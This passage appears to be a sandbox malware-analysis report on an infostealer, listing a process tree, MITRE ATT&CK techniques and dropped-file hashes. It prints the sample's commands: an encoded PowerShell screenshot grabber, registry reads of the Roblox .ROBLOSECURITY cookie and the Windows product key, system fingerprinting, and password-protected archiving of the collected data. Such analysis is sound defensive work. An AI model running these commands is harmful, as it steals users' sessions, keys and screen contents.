HsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5272
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\engqrwva\engqrwva.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2052
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES95DD.tmp" "c:\Users\Admin\AppData\Local\Temp\engqrwva\CSC6125017987C476A80179C116B656FE5.TMP"
        6⤵
        
        PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4016
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2304
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3912
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:5252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI56482\rar.exe a -r -hp"satan" "C:\Users\Admin\AppData\Local\Temp\VnEoP.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Users\Admin\AppData\Local\Temp\_MEI56482\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI56482\rar.exe a -r -hp"satan" "C:\Users\Admin\AppData\Local\Temp\VnEoP.zip" *
      4⤵
      Executes dropped EXE
      PID:3116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:1760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4836
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:5624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Queries system WMI classes for hardware identifiers
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:4744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2936
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Video Capture

T1125

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4930c5a2ae44102bd884c11004d0b7a06aa9fda03729e500c5657e585f96b812
MD5 2c2f5d7f4091384f52b1d7f62f817efc
SHA1 6e53266bc2ca927a8c243bb252994a1a30570417
SHA512 7662ffd2d59fe0bc35840b1aa174e9d09a8a24aea611ccb624944bbadbf62f4090d8e1f214bff496ef3a45bd1c7585fd80d4c289c7de0704cad68f45397d4ecd
TLSH
T10C216633F3CD8665D899403A40CEAC0032B7D7DB409FDE9BAB84D509B43F689CE611A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1599754af315bf45fc5c21a5d9d6289ee5d77b66ecc79c44b56e93a2e4a258b3
MD5 921a478d4b661d5dbabaa5056c375995
SHA1 0f636740ac1adb46315e7380dca2d29c333d0456
SHA512 ed439021bbee12984ea7fdfc5f2d78a2599748df67ecbfb6d92a78314e76ba9019d6971e78ea0a8bd0567d40a124483f0d48e7d42afd2f730e81614fe36b565f
TLSH
T1B8216833B3DD8614C89A413A10CEAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a7bfdde11dfe36b2c458ccc8512e3156f968caace97bd0a970ea22a4b97d5cdf
MD5 843fad0d3097f700660c2785274aea9a
SHA1 3853435f3643bfa450d906683aa1110a1ed3a136
SHA512 1b98409ac2ecb8acf4344af123ccd2d83d964eed5b84966e54e95ab2b01b4408f1ced49ea52e0c20b2d5eaab38530a56270111bd50b98d52f168a3da4640264c
TLSH
T131215333F3CC8624CC9A403A50CEAC1036B687DB419EDFABBB84D155A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

RES95DD.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES95DD.tmp
Size 1KB
SHA256 9c22da19880d6573d43ab8e88758509dc9a34681dbaf65ed27f991ff9a747459
MD5 21682734ad01c3f547448e9d06fafc74
SHA1 14c8e06975d8271057fe63bc175fa419b394b7d8
SHA512 4f5c1e4b3c9ebaafe55705a9d23891d3ce08fef1aa95de5a39defb70afbe78bcc9695bb9bc0dcadc5fae894fb740996e180d8e3eb5b7d146ce2b500f6d3ee9ec
TLSH
T10A21AD0493E8470EF0734B32A8F5135FA634FDA4EFA193AA8940422C1C61544EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\VCRUNTIME140.dll
Size 117KB
SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
MD5 862f820c3251e4ca6fc0ac00e4092239
SHA1 ef96d84b253041b090c243594f90938e9a487a9a
SHA512 2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e
SSDEEP 1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
TLSH
T1A2C38D4572A042F7D17AD274C1A36A17FB75B94487A0A3CF03B58A650F13BE0AE3D396
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\_bz2.pyd
Size 49KB
SHA256 43f812a27af7e3c6876db1005e0f4fb04db6af83a389e5f00b3f25a66f26eb80
MD5 e1b31198135e45800ed416bd05f8362e
SHA1 3f5114446e69f4334fa8cda9cda5a6081bca29ed
SHA512 6709c58592e89905263894a99dc1d6aafff96ace930bb35abff1270a936c04d3b5f51a70fb5ed03a6449b28cad70551f3dccfdd59f9012b82c060e0668d31733
SSDEEP 1536:fTvumeSe2uD4e4elA5woMImLVQhyUzR9AfIIoT:LvxeSeVd4elAqImLVQLX
TLSH
T1A233D0CF83B99017EAA32971E2E4D8D6FA3977E34515432A309DA19B1E53780C72133E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\_ctypes.pyd
Size 63KB
SHA256 1c0f9c3bdc53c2b24d5480858377883a002eb2ebb57769d30649868bfb191998
MD5 b6262f9fbdca0fe77e96a9eed25e312f
SHA1 6bfb59be5185ceaca311f7d9ef750a12b971cbd7
SHA512 768321758fc78e398a1b60d9d0ac6b7dfd7fd429ef138845461389aaa8e74468e4bc337c1db829ba811cb58cc48cfff5c8de325de949dde6d89470342b2c8ce8
SSDEEP 1536:sgnr/ptw33m0QDInUz2fH3JrlFCFfLaImyP7TyUzR9zfIP0:fnrhtoW0QSu+EFfWImyP7UM
TLSH
T14F53F1DB963D5243E6B29D71F3A6C583BD78ABC30662431B20D952B609173D0EB0316A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\_hashlib.pyd
Size 36KB
SHA256 a9f24ad79a3d2a71b07f93cd56fc71958109f0d1b79eebf703c9ed3ac76525ff
MD5 0b214888fac908ad036b84e5674539e2
SHA1 4079b274ec8699a216c0962afd2b5137809e9230
SHA512 ae7aee8a11248f115eb870c403df6fc33785c27962d8593633069c5ff079833e76a74851ef51067ce302b8ea610f9d95c14be5e62228ebd93570c2379a2d4846
SSDEEP 768:WzzaDWoin9vvSfhb8pnTImvI9qJyUFRYT2Ip4ygCxf1mlzzF:WzOW6JQTImvI9WyUzR9yRfIPF
TLSH
T19DF2BFC746B89157EAB36DB252F0C983F639FBE354624B7F608E92460E233909715339
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\_lzma.pyd
Size 87KB
SHA256 3e749f5fad4088a83ae3959825da82f91c44478b4eb74f92387ff50ff1b8647d
MD5 adeaa96a07b7b595675d9f351bb7a10c
SHA1 484a974913276d236cb0d5db669358e215f7fced
SHA512 5d01d85cda1597a00b39746506ff1f0f01eeea1dc2a359fcecc8ee40333613f7040ab6d643fdaee6adaa743d869569b9ab28ae56a32199178681f8ba4dea4e55
SSDEEP 1536:+E29OZvi4bwTlI+rWNp+UavNhym9PcIbiQZWL22eMBYqj8uyDM/2Im01rqyUzR9u:+MviSJj+JymBBBZIheEjMoOIm01rtWO
TLSH
T1C79301E79E3C800BD5A36F711760D5D6B938779354209AABB0E6735610133E4EF0A72E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\_queue.pyd
Size 28KB
SHA256 ef361936929b70ef85e070ed89e55cbda7837441acafeea7ef7a0bb66addeec6
MD5 766820215f82330f67e248f21668f0b3
SHA1 5016e869d7f65297f73807ebdaf5ba69b93d82bd
SHA512 4911b935e39d317630515e9884e6770e3c3cdbd32378b5d4c88af22166b79b8efc21db501f4ffb80668751969154683af379a6806b9cd0c488e322bd00c87d0e
SSDEEP 768:3e8XPAVnB8JpeEIm9UtEJyUFRYT2Ip4mTxf1mlBqsovFfY:TgB8CEIm9Ut4yUzR9GfIQsotfY
TLSH
T1A8D29EC746789152DD93AD31A3E0DA82BD39BBD365118B5B70DE919B0E633C0E316336
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\_socket.pyd
Size 45KB
SHA256 4ecd63f5f111d97c2834000ff5605fac61f544e949a0d470aaa467abc10b549c
MD5 65cd246a4b67cc1eab796e2572c50295
SHA1 053fa69b725f1789c87d0ef30f3d8997d7e97e32
SHA512 c5bf499cc3038741d04d8b580b54c3b8b919c992366e4f37c1af6321a7c984b2e2251c5b2bc8626aff3d6ca3bf49d6e1ccd803bd99589f41a40f24ec0411db86
SSDEEP 768:pOVO07RbhED2LEIuo4OCYkbaEts+Z85iEsaAEwAptjvImywAmmJyUFRYT2Ip4Ep5:GPkD2LEIuo4E5CpZEbjvImywAmKyUzRs
TLSH
T11B23CED9867CA11AFA13EE3272E8DC81FF35B7938454D75B70EA609B0E523C09B11729
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\_sqlite3.pyd
Size 59KB
SHA256 67a887d3e45c8836f8466dc32b1bb8d64c438f24914f9410bc52b02003712443
MD5 f018b2c125aa1ecc120f80180402b90b
SHA1 cf2078a591f0f45418bab7391c6d05275690c401
SHA512 c57580af43bc1243c181d9e1efbc4aa544db38650c64f8ece42fbcbe3b4394fcadb7acfb83e27fbe4448113db1e6af8d894fb4bd708c460cf45c6524fcfdef96
SSDEEP 1536:6Ze1bxjT8JFeEl4m6MisPI9eATFaImvQgNyUzR9+fIP2:6AbFT8JcEem65sw9eSgImvQgtu
TLSH
T12453D0C28678408ED462BDB0DAF4D9C2F539A387599ADB2D709975A01DA73C0E31273F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\_ssl.pyd
Size 68KB
SHA256 67ed13570c5376cd4368ea1e4c762183629537f13504db59d1d561385111fe0a
MD5 309b1a7156ebd03474b44f11ba363e89
SHA1 8c09f8c65cac5bb1fcf43af65a7b3e59a9400990
SHA512 e610a92f0e4fa2a6cd9afd7d8d7a32cc5df14e99af689bfb5a4b0811dca97114bf3fcf4bfae68600ed2417d18ee88c64c22b0c186068afd4731be1de90c06f15
SSDEEP 1536:iDX4m2+uSKd7nh+5qr2UmGPijcXvyOVBbUImL7bJ7yUzR9UfI+vbGVx:KRud7E3U0cXJ/AImL7b/1Vx
TLSH
T16F63F1D686A491ABED5768B1E1D4C6C7FE3CB7E35824CA5731AE02960F4B3D1930321E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI56482\base_library.zip
Size 1.3MB
SHA256 0b06910911303be8d00c8c827f41e1a3107ab7cde5b3ca63e2fac2506d9af49f
MD5 0a55c33f950b91b891c9043ccc609224
SHA1 ebe1426caf97b3298c18e20e0ac26a9eaab14eef
